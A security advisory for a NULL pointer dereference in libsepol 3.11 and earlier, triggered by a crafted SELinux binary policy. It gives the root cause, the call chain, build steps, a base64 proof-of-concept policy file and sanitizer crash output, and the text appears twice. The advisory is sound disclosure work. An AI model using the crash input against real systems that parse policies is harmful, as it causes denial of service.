libsepol <= 3.11: NULL pointer dereference in hierarchy_add_type_callback via crafted binary policy (POLICY_KERN versions 20-23)
Summary
A NULL pointer dereference in libsepol/src/hierarchy.c:669 causes a SIGSEGV when hierarchy_check_constraints() processes a crafted SELinux binary policy with POLICY_KERN version 20-23. A type entry with primary=0 creates a NULL gap in p_type_val_to_name[], which is then passed to strrchr() — a function whose first parameter is declared nonnull.
- Affected version: libsepol 3.11 (tag
libsepol-3.11), also confirmed on main branch (same code)
- Vulnerability type: CWE-476 (NULL Pointer Dereference)
Root Cause
Three code paths interact to create the vulnerability:
1. type_index() skips non-primary types (policydb.c:1112)
static int type_index(hashtab_key_t key, hashtab_datum_t datum, void *datap)
{
...
if (typdatum->primary) { // only indexes primary types
...
p->p_type_val_to_name[typdatum->s.value - 1] = (char *)key;
p->type_val_to_struct[typdatum->s.value - 1] = typdatum;
}
return 0;
}
Types with primary=0 are not indexed — their entries in p_type_val_to_name[] remain NULL. But they are still present in the p_types.table hashtab.
2. validate_array_init() skips gap checking for versions 20-23 (policydb_validate.c:73-87)
if (p->policy_type != POLICY_KERN ||
p->policyvers < POLICYDB_VERSION_AVTAB ||
p->policyvers > POLICYDB_VERSION_PERMISSIVE) {
if (validate_init(&flavors[SYM_TYPES], p->p_type_val_to_name,
p->p_types.nprim))
goto bad;
} else {
// versions 20-23: gaps treated as empty
flavors[SYM_TYPES].nprim = p->p_types.nprim;
ebitmap_init(&flavors[SYM_TYPES].gaps); // empty gaps bitmap
}
For POLICY_KERN versions 20-23, NULL entries in p_type_val_to_name are not flagged as invalid, so policydb_validate() does not reject the policy.
3. hierarchy_add_type_callback dereferences NULL without check (hierarchy.c:634-669)
if (!datum->bounds) {
datum_name =
p->p_type_val_to_name[datum->s.value - 1]; // can be NULL
tmp = strrchr(datum_name, '.'); // CRASH: NULL passed to nonnull
...
}
hierarchy_add_bounds() calls hashtab_map(p->p_types.table, hierarchy_add_type_callback, ...), which iterates all types in the hashtab — including non-primary types with NULL val_to_name entries.
Call chain
LLVMFuzzerTestOneInput (binpolicy-fuzzer.c:60)
└─ hierarchy_check_constraints (hierarchy.c:708)
└─ hierarchy_add_bounds (hierarchy.c:689)
└─ hashtab_map (hashtab.c:245)
└─ hierarchy_add_type_callback (hierarchy.c:669)
└─ strrchr(NULL, '.') ← SIGSEGV
PoC
A 495-byte crafted SELinux binary policy file. The key is a type entry with primary=0, value=2, and name "parent.child" (the dot ensures strrchr is called rather than returning early).
Reproduction
Build libsepol with ASAN+UBSan and the fuzzer harness from libsepol/fuzz/binpolicy-fuzzer.c. The fuzzer harness uses LLVMFuzzerTestOneInput which expects a buffer; we need a file-based entry.c wrapper to read from a file:
entry.c (file-based LLVMFuzzerTestOneInput wrapper):
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
extern int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size);
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "usage: %s <file>\n", argv[0]);
return 2;
}
FILE *f = fopen(argv[1], "rb");
if (!f) { perror("fopen"); return 2; }
fseek(f, 0, SEEK_END);
long sz = ftell(f);
fseek(f, 0, SEEK_SET);
if (sz < 0) { fclose(f); return 2; }
uint8_t *buf = malloc((size_t)sz > 0 ? (size_t)sz : 1);
if (!buf) { fclose(f); return 2; }
fread(buf, 1, (size_t)sz, f);
fclose(f);
LLVMFuzzerTestOneInput(buf, (size_t)sz);
free(buf);
return 0;
}
# Build libsepol
git clone --depth 1 --branch libsepol-3.11 https://github.com/SELinuxProject/selinux.git
cd selinux/libsepol
make -C src CC=gcc \
CFLAGS="-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer -I. -I../include -D_GNU_SOURCE" \
LDFLAGS="-fsanitize=address,undefined" libsepol.a
# Build fuzzer (binpolicy-fuzzer.c + entry.c wrapper)
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
-I include -I src \
-c fuzz/binpolicy-fuzzer.c -o binpolicy-fuzzer.o
gcc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
-I include -I src \
-c entry.c -o entry.o
gcc -fsanitize=address,undefined -o fuzzer \
binpolicy-fuzzer.o entry.o src/libsepol.a -lm -ldl -lpthread
# Run PoC
ASAN_OPTIONS="detect_leaks=0" ./fuzzer poc.bin
PoC file
The PoC is a 495-byte crafted SELinux binary policy file (POLICY_KERN version 23, MLS enabled). Save the following base64 as poc.bin:
echo 'jP98+QgAAABTRSBMaW51eBcAAAABAAAACAAAAAcAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAABgAAAAAAAAABAAAAAQAAAAEAAAAAAAAAY2xhc3MxBQAAAAEAAABwZXJtMQAAAAABAAAAAQAAAAgAAAABAAAAb2JqZWN0X3JAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAACAAAAAgAAAAUAAAABAAAAAQAAAHR5cGUxDAAAAAIAAAAAAAAAcGFyZW50LmNoaWxkAQAAAAEAAAAFAAAAAQAAAHVzZXIxQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAEAAABAAAAAAAAAAAAAAAABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAIAAAAAAAAAczABAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQABAAEAAQABAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAEAAAAAAAAAQAAAAEAAAAABAAAAAAAAAAIAAAAAAAAA' | base64 -d > poc.bin
The key structure: a POLICY_KERN version 23 policy with 2 types — type1 (primary=1, value=1) and parent.child (primary=0, value=2). The primary=0 type is not indexed by type_index(), creating a NULL gap in p_type_val_to_name[1]. The name "parent.child" contains a dot, ensuring strrchr() is called rather than returning early.
Crash output
hierarchy.c:669:8: runtime error: null pointer passed as argument 1, which is declared to never be null
AddressSanitizer:DEADLYSIGNAL
==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
The signal is caused by a READ memory access.
Hint: address points to the zero page.
#0 in __sanitizer::internal_strlen
#1 in strrchr
#2 in hierarchy_add_type_callback hierarchy.c:669
#3 in hashtab_map hashtab.c:245
#4 in hierarchy_add_bounds hierarchy.c:689
#5 in hierarchy_check_constraints hierarchy.c:708
#6 in LLVMFuzzerTestOneInput binpolicy-fuzzer.c:60
SUMMARY: AddressSanitizer: SEGV
Exit code: 1
Impact
- Severity: Low — DoS crash, not memory corruption
- Attack surface: Any application using libsepol to parse and validate untrusted binary policy files via
sepol_policydb_read() + hierarchy_check_constraints(), potentially indirectly via expand_module(). No known production users are affected.
- Affected policy versions: POLICY_KERN versions 20-23
- Notes: Exploiting this bug requires attacker-controlled policy and does not appear to be reachable from any SELinux userspace tools. checkpolicy and checkmodule never call the vulnerable function on a caller-provided binary policy file. semodule_expand only accepts binary policy modules as input, not kernel policies. setools does not call the vulnerable function. Runtime policy consumers are not affected.
Environment
- libsepol version: 3.11 (tag
libsepol-3.11), confirmed reproducible on main branch
- Compiler: gcc 14,
-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer
- Fuzzer harness:
binpolicy-fuzzer.c from libsepol/fuzz/
poc.zip
Patches
Fixed via commit 208cea1 and support for the vulnerable policy versions were entirely removed via commit 3394f1a, to be included in libsepol 3.12 and later.
Workarounds
Not directly reachable by any production users of libsepol. Although checkpolicy, checkmodule, and semodule_expand do call expand_module() and/or hierarchy_check_constraints(), they do not call them for any kernel binary policy that they didn't generate themselves.
libsepol <= 3.11: NULL pointer dereference in
hierarchy_add_type_callbackvia crafted binary policy (POLICY_KERN versions 20-23)Summary
A NULL pointer dereference in
libsepol/src/hierarchy.c:669causes a SIGSEGV whenhierarchy_check_constraints()processes a crafted SELinux binary policy withPOLICY_KERNversion 20-23. A type entry withprimary=0creates a NULL gap inp_type_val_to_name[], which is then passed tostrrchr()— a function whose first parameter is declarednonnull.libsepol-3.11), also confirmed onmainbranch (same code)Root Cause
Three code paths interact to create the vulnerability:
1.
type_index()skips non-primary types (policydb.c:1112)Types with
primary=0are not indexed — their entries inp_type_val_to_name[]remain NULL. But they are still present in thep_types.tablehashtab.2.
validate_array_init()skips gap checking for versions 20-23 (policydb_validate.c:73-87)For POLICY_KERN versions 20-23, NULL entries in
p_type_val_to_nameare not flagged as invalid, sopolicydb_validate()does not reject the policy.3.
hierarchy_add_type_callbackdereferences NULL without check (hierarchy.c:634-669)hierarchy_add_bounds()callshashtab_map(p->p_types.table, hierarchy_add_type_callback, ...), which iterates all types in the hashtab — including non-primary types with NULLval_to_nameentries.Call chain
PoC
A 495-byte crafted SELinux binary policy file. The key is a type entry with
primary=0,value=2, and name"parent.child"(the dot ensuresstrrchris called rather than returning early).Reproduction
Build libsepol with ASAN+UBSan and the fuzzer harness from
libsepol/fuzz/binpolicy-fuzzer.c. The fuzzer harness usesLLVMFuzzerTestOneInputwhich expects a buffer; we need a file-basedentry.cwrapper to read from a file:entry.c(file-basedLLVMFuzzerTestOneInputwrapper):PoC file
The PoC is a 495-byte crafted SELinux binary policy file (POLICY_KERN version 23, MLS enabled). Save the following base64 as
poc.bin:The key structure: a POLICY_KERN version 23 policy with 2 types —
type1(primary=1, value=1) andparent.child(primary=0, value=2). Theprimary=0type is not indexed bytype_index(), creating a NULL gap inp_type_val_to_name[1]. The name"parent.child"contains a dot, ensuringstrrchr()is called rather than returning early.Crash output
Impact
sepol_policydb_read()+hierarchy_check_constraints(), potentially indirectly viaexpand_module(). No known production users are affected.Environment
libsepol-3.11), confirmed reproducible onmainbranch-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointerbinpolicy-fuzzer.cfromlibsepol/fuzz/poc.zip
Patches
Fixed via commit 208cea1 and support for the vulnerable policy versions were entirely removed via commit 3394f1a, to be included in libsepol 3.12 and later.
Workarounds
Not directly reachable by any production users of libsepol. Although checkpolicy, checkmodule, and semodule_expand do call expand_module() and/or hierarchy_check_constraints(), they do not call them for any kernel binary policy that they didn't generate themselves.